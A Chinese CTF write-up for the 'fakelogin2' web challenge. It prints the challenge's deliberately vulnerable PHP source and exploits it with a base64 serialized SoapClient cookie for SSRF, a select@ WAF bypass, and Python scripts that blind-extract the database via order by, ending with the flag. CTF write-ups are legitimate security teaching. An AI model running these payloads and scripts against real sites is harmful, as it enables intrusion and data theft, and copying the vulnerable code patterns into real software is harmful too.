[Web]fakelogin2

xp0int Posted on Oct 31 2018

(比赛题目可能有改动，做法没变)
首先是一个登录页面。
![title](https://leanote.com/api/file/getImage?fileId=5bd56278ab64417fbe002842)
随便填点东西登录。
![title](https://leanote.com/api/file/getImage?fileId=5bd5627eab64417dd60028ae)
显示一个FALSE
![title](https://leanote.com/api/file/getImage?fileId=5bd56287ab64417dd60028b4)
发现多了一个Cookie。
![title](https://leanote.com/api/file/getImage?fileId=5bd56291ab64417fbe002848)
看格式应该是base64。
解码：
![title](https://leanote.com/api/file/getImage?fileId=5bd56295ab64417fbe00284a)
看样子是一个php序列化的对象。

网页右键源码
![title](https://leanote.com/api/file/getImage?fileId=5bd5629fab64417dd60028b9)
提示robots.txt
访问robots.txt
![title](https://leanote.com/api/file/getImage?fileId=5bd562aaab64417dd60028bc)
发现有另外两个页面
还可能有源码泄露
phpinfo.php：
![title](https://leanote.com/api/file/getImage?fileId=5bd562b9ab64417fbe002854)
sqldebug.php：
![title](https://leanote.com/api/file/getImage?fileId=5bd562c0ab64417dd60028c1)
我们尝试访问index.php~和sqldebug.php~
![title](https://leanote.com/api/file/getImage?fileId=5bd562ccab64417dd60028c2)
```php
<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);

class Auth {
    public $username = '';
    public $login = 0;

public function verify() {
        return 'FALSE';
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
    <table>
        <tr>
            <td>Username</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>Password</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>Remember me <input type="checkbox" name="rememberme"></td>
            <td><input type="submit" value="Submit"></td>
        </tr>
    </table>
</form>
<p>
<?php

if (isset($_POST['username'])) {
    $auth = new Auth();
    $auth->username = $_POST['username'];
    setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
    $auth = unserialize(base64_decode($_COOKIE['auth']));
}

if (isset($auth)) {
    // hint: SoapClient::__call
    // notice the errors
    echo $auth->verify();
}

?>
</p>
</body>
</html>

```
![title](https://leanote.com/api/file/getImage?fileId=5bd5630cab64417fbe00287c)
```php
<?php
include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('you need to be 127.0.0.1');
}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
// bypass waf
// hint: @variable
if (preg_match('/information_schema|database|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
    die('NONONO!');
}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

// sqli
// hint: order by
$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];

mysqli_close($db);
?>
```

db.php~不存在
![title](https://leanote.com/api/file/getImage?fileId=5bd56324ab64417fbe00287f)

目标是ssrf到sqldebug.php进行sql注入。
分析源码：
![title](https://leanote.com/api/file/getImage?fileId=5bd56330ab64417dd60028ed)
这里有一个明显的反序列化漏洞
下面利用SoapClient进行ssrf：
因为SoapClient没有verify方法，所以后面的$auth->verify()会触发__call方法：
![title](https://leanote.com/api/file/getImage?fileId=5bd56338ab64417dd60028f0)
实例：
![title](https://leanote.com/api/file/getImage?fileId=5bd56341ab64417fbe00288d)
本地测试：
![title](https://leanote.com/api/file/getImage?fileId=5bd56348ab64417fbe002891)
TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiYWJjIjtzOjg6ImxvY2F0aW9uIjtzOjI5OiJodHRwOi8vbG9jYWxob3N0L3NxbGRlYnVnLnBocCI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
把它设置为cookie试试：
![title](https://leanote.com/api/file/getImage?fileId=5bd56358ab64417dd60028f9)
出现错误，但已经成功访问http://localhost/sqldebug.php，只是响应不能xml解析，所以报错，如果响应是xml格式的话就不会报这个错。
接下来分析sql注入和waf
![title](https://leanote.com/api/file/getImage?fileId=5bd5635fab64417dd60028fa)
不能通过information_schema获取表头，select后不能任何空白字符和`和/*和(这些可以代替空格的字符，可以用@变量这种比如select@a:=1,2,3这种，或者/*!select*/。
后面sql注入不知道列名表名，但是select *可以用order by盲注，可以结合index.php的错误信息盲注。
先判断列数，如果union select的列数不对index.php请求会Internal Server Error 
columns.py：
```python
#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote

url = "http://192.168.44.128/"

tpl = ["1"]

while True:
    done = False
    ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
        tpl) + "%23"
    serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
        len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
    auth = quote(base64.b64encode(serial.encode()))
    resp = requests.get(url, cookies={'auth': auth})
    print(len(tpl))
    if 'Internal Server Error' not in resp.text:
        # print(resp.text)
        break
    tpl += ["1"]
```
![title](https://leanote.com/api/file/getImage?fileId=5bd56385ab64417fbe0028a1)
列数是5

然后可以用：
http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:='<aaa></aaa>',2,3,4,5%23
http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=1, '<aaa></aaa>',3,4,5%23
…
来测试显示的是哪一列。

获取各uid用户信息：
orderby.py
```python
#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys

url = "http://192.168.44.128/"

for pos in [0, 2, 3, 4]:
    tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
    r = []
    done = False
    while not done and len(r) <= 40:
        for c in range(0x19, 0x7F):
            hexstr = bytes(r + [c])
            tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
            ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
                tpl) + "+order+by+" + str(pos + 1) + "%23"
            serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
                len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
            auth = quote(base64.b64encode(serial.encode()))
            resp = requests.get(url, cookies={'auth': auth})
            if 'got no XML document' in resp.text:
                if 0x19 == c:
                    done = True
                else:
                    r += [c - 1]
                break
        print(pos, bytes(r))
```

uid=1：
![title](https://leanote.com/api/file/getImage?fileId=5bd563aaab64417dd600290a)
![title](https://leanote.com/api/file/getImage?fileId=5bd563b1ab64417fbe0028ac)

uid=2：
![title](https://leanote.com/api/file/getImage?fileId=5bd563b9ab64417fbe0028af)
![title](https://leanote.com/api/file/getImage?fileId=5bd563bfab64417fbe0028b1)

![title](https://leanote.com/api/file/getImage?fileId=5bd563c7ab64417fbe0028b7)
flag{un10n_s313ct_0rd3r_13y}

打赏还是打残，这是个问题